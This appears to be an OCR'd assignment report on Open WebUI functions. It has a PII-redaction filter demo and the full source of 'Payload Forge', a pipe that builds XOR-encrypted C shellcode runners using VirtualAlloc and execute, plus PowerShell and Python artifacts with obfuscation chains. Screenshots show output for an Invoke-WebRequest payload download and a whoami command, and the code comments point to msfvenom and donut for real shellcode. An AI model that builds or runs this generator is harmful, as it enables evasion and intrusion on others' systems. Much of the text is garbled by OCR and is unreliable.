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o TASK 1: Open Web Ul Function (data pipeline).
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TASK 1: Open Web UI Function (data pipeline)
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Priority
Priority level for the filter operations.

Enabled For Admins
E A

Whether Pll Redaction is enabled for admin users.

Use Presidio

B

Use Presidio engine for Pll detection

Use Regex
EA

Use regex patterns for Pll detection

Presidio Entities

PERSON,EMAIL_ADDRESS,PHONE_NUMBER,US_SSN,CRE
DIT_CARD,IP_ADDRESS,US_PASSPORT,LOCATION,DATE_TI

AAF RIS B AFrSIs Al I 1A AImAar- 1 irmi

Comma-separated list of Presidio entity types to redact

Presidio Language

en, zh

Language code for Presidio analyzer

Redact Email

B

Redact email addresses
Redact Phone
E B

Redact phone numbers
Redact Ssn
EMMAH

Redact social security numbers
Redact Credit Card
EA

Redact credit card numbers
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Redact Ip Address =H]J
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Redact IP addresses

gemmad:.edb v + e BE

Please verify the following customer record:
Name: John Smith

Email: john.smith@company.com

Phone: +1-212-555-0147

Credit Card: 4111-1111-1111-1111

SSN: 123-45-6789

IP Address: 192.168.1.105

Passport: A12345678

Please format and return all fields in a table.

o AfEM function:

gemmad:.edb v + ==
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Please format and return all fields in a table.

gemmad:edb
| cannot format or process this record because it contains highly sensitive Personally Identifiable Information

(PIl), including credit card numbers, Social Security Numbers, and passport details.
For your security and privacy, please do not share actual sensitive data with Al models or on public platforms.

If you would like a template for how this data should be organized, | can provide that using placeholder

information:
FIELD DATA [
Name [Name]
Email [Email]
Phone [Phone Number]
Credit Card [Last 4 Digits only]
SSN [Redacted]
IP Address [IP Address]
Passport [Redacted]
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« J8AfEH function:
gemmad:.edb v + .

Please verify the following customer record:
Name: John Smith

Email: john.smith@company.com

Phone: +1-212-555-0147

Credit Card: 4111-1111-1111-1111

SSN: 123-45-6789

IP Address: 192.168.1.105

Passport: A12345678

Please format and return all fields in a table.

o 9emmad:edb

| cannot format or return this information for you. The record you provided contains highly sensitive Personally

Identifiable Information (Pll), such as a Social Security Number, Passport number, and Credit Card details.

For your safety and privacy, | am programmed to decline requests that involve processing, storing, or

formatting real or realistic sensitive personal data.

If you would like a blank template for formatting purposes, | would be happy to provide one.
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https://openwebui.com/f/justinrahb/pii_filter (https://openwebui.com/f/justinrahb/pii_filter)
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B F B A A john.doe@company.com
ErE TS +886-912-345-678
SRR 4111-1111-1111-1111
HEZ28 (SSN) 123-45-6789

IP firik 192.168.1.100
EHRIRAS A123456789
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TASK 2: B# Data Pipeline
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o EFZETE chat IAIES (W : generate xor shellcode runner / win/x64 /

cmd:calc )
o Pipe BT EE > EHZEI¥FE generator > EFRREHE > £ ROAIRK
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forge.shellcode * payload-forge.powershell * payload-forge.python )
« F Valves ZHRIEZE (BBEBRE - SEEMIER - BHVHEARE)
- H __event_emitter__ A B 177 7 A9 AR 25 B 2

RICHFEH

1. 58Z : Open WebUIl > workspace - Functions - + New Function - B EEQiE
% > Save > EAMIFTFHER (enabled ) > 7£ valves F2%E ALLOW_LIST_USERS #

AUDIT_LOG_PATH -°
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e payload-forge.shellcode — C XOR runner skeleton
e payload-forge.powershell — PS RER

o payload-forge.python — Python R E&

HER AR

cmd: whoami
arch: x64
obf: b64, rename
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"7 json
"cmd": "Get-Service", "obf": ["str_split", "b64"]}

» Data pipeline



title: Payload Forge Manifold

author: redteam-research

version: 0.2.0

required_open_webui_version: 0.3.9

description: |
Red team payload generation & obfuscation pipe for authorized
research / lab use only. Exposes multiple sub-models via manifold,
parses chat-driven specs, and emits status events for human-in-the-loop.

import asyncio

import base64

import json

import os

import random

import re

import string

from typing import Any, AsyncGenerator, Awaitable, Callable, Optional

from pydantic import BaseModel, Field

# Generators (toy/lab implementations — replace with your real toolchain
# such as msfvenom subprocess calls, donut, sgn, etc., behind a sandbox)

def _xor(data: bytes, key: bytes) -> bytes:
return bytes(b ~ key[i % len(key)] for i, b in enumerate(data))

def gen_shellcode_runner(spec: dict) -> dict:
Lab-only stub: returns a C source skeleton that XOR-decrypts an
embedded shellcode buffer and executes it via VirtualAlloc+memcpy.
The shellcode bytes here are placeholder NOP sled; in a real lab
you'd shell out to msfvenom or similar.
arch = spec.get("arch", "x64")
cmd = spec.get("cmd", "calc.exe")
# placeholder — NOT functional shellcode, just bytes for the demo
sc = bytes([0x90] * 32) + b"PLACEHOLDER:" + cmd.encode()
key = os.urandom(8)
enc = _xor(sc, key)

enc_arr = ", ".join(f"@x{b:02x}" for b in enc)
", ".join(f"ex{b:02x}" for b in key)

key_arr



src = f"""// arch={arch} c<md={cmd} (lab artifact)
#include <windows.h>
#include <string.h>

unsigned char enc[]

{{ {enc_arr} }};
{{ {key_arr} }};

unsigned char key[]
int main(void) {{
for (size_t i = @; i < sizeof(enc); ++i) enc[i] ~= key[i % sizeof(key)];
void *p = VirtualAlloc(®, sizeof(enc), MEM_COMMIT|MEM_RESERVE,
PAGE_EXECUTE_READWRITE);
memcpy(p, enc, sizeof(enc));

((void(*)()IP) ();

return 0;

1}

return {"language": "c", "artifact": src, "meta": {"key_len": len(key)}}

def gen_powershell(spec: dict) -> dict:
cmd = spec.get("cmd", "Get-Process")

return {
"language": "powershell”,
"artifact": f"# lab artifact\n{cmd}\n",
"meta": {},

}

def gen_python(spec: dict) -> dict:
cmd = spec.get("cmd", "print('hello from lab')")
return {
"language": "python",
"artifact": f"# lab artifact\n{cmd}\n",
"meta": {},

GENERATORS = {
"shellcode": gen_shellcode_runner,
"powershell”: gen_powershell,
"python": gen_python,

def obf_b64(art: str) -> str:
return base64.b64encode(art.encode()).decode()



def obf_rename(art: str) -> str:
"""Trivial identifier renaming for PS/Python — illustrative only.

mapping = {}
def repl(m):
tok = m.group(@)
if tok in {"def", "if", "for", "while", "return", "import",

"from", "as", "in", "is",

not", "and", "or",
"function", "param", "Get-Process"}:
return tok
if tok not in mapping:
mapping[tok] = "_" +
.join(random.choices(string.ascii_lowercase, k=6))
return mapping[tok]

return re.sub(r"\b[A-Za-z_][A-Za-z0-9_]{2,}\b", repl, art)

def obf_str_split(art: str) -> str:

PowerShell-style string splitting demo.
return re.sub(
(AW D
lambda m: ("' + ""+"'.join(m.group(1)[i:i+2] for i in range(o,
len(m.group(1)), 2)) + '")",
art,

OBFUSCATORS = {
"b64": obf_b64,
"rename": obf_rename,
"str_split": obf_str_split,

# Spec parser — pulls structured request out of free-form chat

# Accepted forms:

# 1. fenced "~ “json {...} 7" block

# 2. key:value lines (cmd: calc.exe / arch: x64 / obf: b64,rename)

def parse_spec(user_message: str) -> dict:
spec: dict[str, Any] = {}

m = re.search(r" ~"(?:json)?\s*(\{.*?\})\s* """, user_message, re.S)
if m:
try:
spec.update(json.loads(m.group(l)))
except json.JSONDecodeError:



pass

for line in user_message.splitlines():
kv = re.match(r"\s*([a-zA-Z_]+)\s*[:=]\s*(.+?)\s*$", line)

if not kv:
continue
k, v = kv.group(1l).lower(), kv.group(2).strip()
if k == "obf":
spec["obf"] = [x.strip() for x in v.split(",") if x.strip()]
else:
spec[k] = v

return spec

class Pipe:
class Valves(BaseModel):
ENABLED: bool = Field(
default=True,
description="Master kill-switch. Set false to disable all
generation.",
)
ALLOW_LIST_USERS: str = Field(
default="",
description="Comma-separated user emails permitted to use this
pipe. Empty = allow all.",

)
MAX_OBF_DEPTH: int = Field(

default=3,

description="Maximum number of stacked obfuscators per request.",
)

AUDIT_LOG_PATH: str = Field(
default="/tmp/payload_forge_audit.log",
description="Append-only audit log. Every generation is

recorded.",

)

DRY_RUN: bool = Field(
default=False,
description="If true, return the spec parse result but do NOT

generate artifacts."”,

)

def __init__ _(self) -> None:
self.type = "manifold"
self.id = "payload_forge"
self.name = "payload-forge."



self.valves = self.Valves()

# Each entry becomes a selectable "model"” in the Open WebUI sidebar.
def pipes(self) -> list[dict]:

return [
{"id": "shellcode", "name": "shellcode (C runner)"},
"id": "powershell", "name": "powershell"},
{"id": "python", "name": "python"},
]
B e e e e e e e e e e e e e e m e
# Helpers
< T T T T T N SR

def _authorized(self, user: Optional[dict]) -> bool:
allow = [x.strip() for x in self.valves.ALLOW_LIST_USERS.split(",")
if x.strip()]
if not allow:
return True
if not user:
return False
return user.get("email") in allow

def _audit(self, user: Optional[dict], model id: str, spec: dict) ->
None:

try:
with open(self.valves.AUDIT_LOG_PATH, "a", encoding="utf-8") as
f:
f.write(json.dumps({
"user": (user or {}).get("email", "anonymous"),
“"model™: model_id,
"spec": spec,
}) + "\n")
except OSError:
pass # don't fail the request because audit failed; surface
elsewhere

@staticmethod

async def _emit(emitter, level: str, msg: str, done: bool = False) ->
None:
if emitter is None:
return
await emitter({
"type": "status",
"data": {"description": msg, "done": done, "level": level},

# Main entry point — Open WebUI calls this for every chat turn



async def pipe(

self,
body: dict,
__user__: Optional[dict] = None,

__event_emitter__: Optional[Callable[[dict], Awaitable[None]]] =
None,

) -> AsyncGenerator[str, None]:

# 1. Gate checks

if not self.valves.ENABLED:
yield "X Pipe disabled by valves.ENABLED."
return

if not self._authorized(__user__):
yield "X User not on ALLOW_LIST USERS."
return

# 2. Resolve which sub-model the user picked.
# Open WebUI sends the full id as “payload_forge.shellcode’ etc.
raw_model = body.get("model™, "")

sub = raw_model.split(".", 1)[1] if "." in raw_model else raw_model

if sub not in GENERATORS:
yield f" X Unknown sub-model: {subl!r}. Pick one of
{1list(GENERATORS)}."
return

# 3. Pull last user message
messages = body.get("messages", [])
user_msg = next(
(m["content"] for m in reversed(messages) if m.get("role") ==
"user"),

)

if isinstance(user_msg, list): # multimodal content array
user_msg = " ".join(p.get("text", "") for p in user_msg if
isinstance(p, dict))

await self. emit(__event_emitter_, "info", f"Parsing spec for
{sub}..")

spec = parse_spec(user_msg)

if self.valves.DRY_RUN:
yield " " “json\n" + json.dumps({"sub": sub, "spec": spec},
indent=2) + "\n "

await self._emit(__event_emitter__, "info", "Dry run complete.",

done=True)
return



# 4. Generate
await self._emit(__event_emitter__, "info", "Generating artifact..")
try:
result = GENERATORS[sub](spec)
except Exception as e:
yield f" X Generator error: {e!r}"
return

artifact: str = result["artifact"]

# 5. Apply obfuscation chain
chain = spec.get("obf", [])
if isinstance(chain, str):
chain = [chain]
chain = chain[: self.valves.MAX OBF_DEPTH]

applied = []
for step in chain:
fn = OBFUSCATORS.get(step)
if fn is None:
yield f" 4. Unknown obfuscator skipped: {step!r}\n"
continue
await self._emit(__event_emitter__, "info", f"Obfuscating:
{step}")
artifact = fn(artifact)
applied.append(step)
await asyncio.sleep(@®) # yield control to keep UI responsive

# 6. Audit
self. audit(__user__, sub, {**spec, "obf applied”: applied})

# 7. Stream response back
await self. emit(__event _emitter__, "info", "Done.", done=True)
header = (
f"**model:** ~{sub}" o "
f"**obf chain:** "{applied or 'none'}" e "
f"**meta:** "~ {result.get('meta’, {})} \n\n"
)
for chunk in (header,
f" " " {result['language']}\n",
artifact,
"\n"""\n"):
yield chunk

o JRIELAS



payload-forge.shellcode (C runner) v + . =

cmd: Invoke-WebRequest http://lab.local/payload.txt
obf: str_split, b64

o  Ppayload-forge.shellcode (C runner)
Done.

model: shellcode -obfchain: ['str_split', 'b64'] - meta: {'key_len': 8}

c C EER @EF ER
1 Ly8gYXJjaD14NjQgIGNtZD1JbnZva2UtV2ViUmVxdwWVzdCBodHRwOi8vbGFilLmxvY2FsL3BheWxvYWQudHh@ICAobGF

Z700HP0OC

payload-forge.shellcode (C runner) v + e 2=
c c BB G Ew

cmd: whoami arch: x64 obf: b64, rename

o1 bayload-forge.shellcode (C runner)
Done.

model: shellcode - obfchain: none -meta: {'key_len': 8}

© C BB #EF ER
1 // arch=x64 cmd=whoami arch: x64 obf: b64, rename (lab artifact)

2 #include <windows.h>

3  #include <string.h>

4 unsigned char enc[] = { oxcf, oxef, 0x5f, 0x3e, Oxcd, 0xc6, 0xe8, Ox4a, Oxcf, @Oxef, Ox5f,
5 unsigned char keyl[] = { ox5f, ox7f, oxcf, Oxae, 0x5d, 0x56, 0x78, Oxda };

6, int main(void) {

7 for (size_t i = @; i < sizeof(enc); ++i) enc[i] "= key[i % sizeof(key)];

8 void *p = VirtualAlloc(@, sizeof(enc), MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE)
9 memcpy(p, enc, sizeof(enc));

10 ((void(*) ())p) ();

11 return 0;

12}

13
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